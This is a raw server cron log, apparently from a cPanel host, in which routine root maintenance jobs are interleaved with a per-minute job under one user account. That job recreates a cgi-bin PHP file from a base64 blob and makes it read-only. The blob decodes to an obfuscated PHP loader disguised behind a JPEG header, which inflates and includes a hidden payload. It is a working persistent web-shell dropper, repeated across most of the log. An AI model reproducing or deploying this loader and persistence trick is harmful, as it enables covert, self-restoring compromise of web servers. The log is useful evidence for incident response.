Sep  2 10:32:01 server CROND[26836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:32:01 server CROND[26837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:32:01 server CROND[26838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:33:01 server CROND[27229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:33:01 server CROND[27230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:33:01 server CROND[27231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:34:01 server CROND[27624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:34:01 server CROND[27625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:34:01 server CROND[27626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:35:01 server CROND[28117]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 10:35:01 server CROND[28118]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:35:01 server CROND[28120]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 10:35:01 server CROND[28121]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 10:35:01 server CROND[28125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:35:01 server CROND[28123]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:35:01 server CROND[28126]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:35:01 server CROND[28128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:35:01 server CROND[28122]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 10:36:01 server CROND[28970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:36:01 server CROND[28971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:36:01 server CROND[28972]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:37:01 server CROND[29346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:37:01 server CROND[29347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:37:01 server CROND[29348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:38:01 server CROND[29729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:38:01 server CROND[29730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:38:01 server CROND[29731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:39:01 server CROND[30123]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:39:01 server CROND[30125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:39:01 server CROND[30126]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 10:39:01 server CROND[30124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:40:01 server CROND[30626]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 10:40:01 server CROND[30627]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:40:01 server CROND[30628]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 10:40:01 server CROND[30630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:40:01 server CROND[30634]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:40:01 server CROND[30632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:40:01 server CROND[30633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:40:01 server CROND[30637]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 10:41:01 server CROND[31470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:41:01 server CROND[31471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:41:01 server CROND[31472]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:42:01 server CROND[31871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:42:01 server CROND[31873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:42:01 server CROND[31872]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:42:01 server CROND[31874]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 10:43:01 server CROND[32257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:43:01 server CROND[32258]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:43:01 server CROND[32259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:44:01 server CROND[32648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:44:01 server CROND[32649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
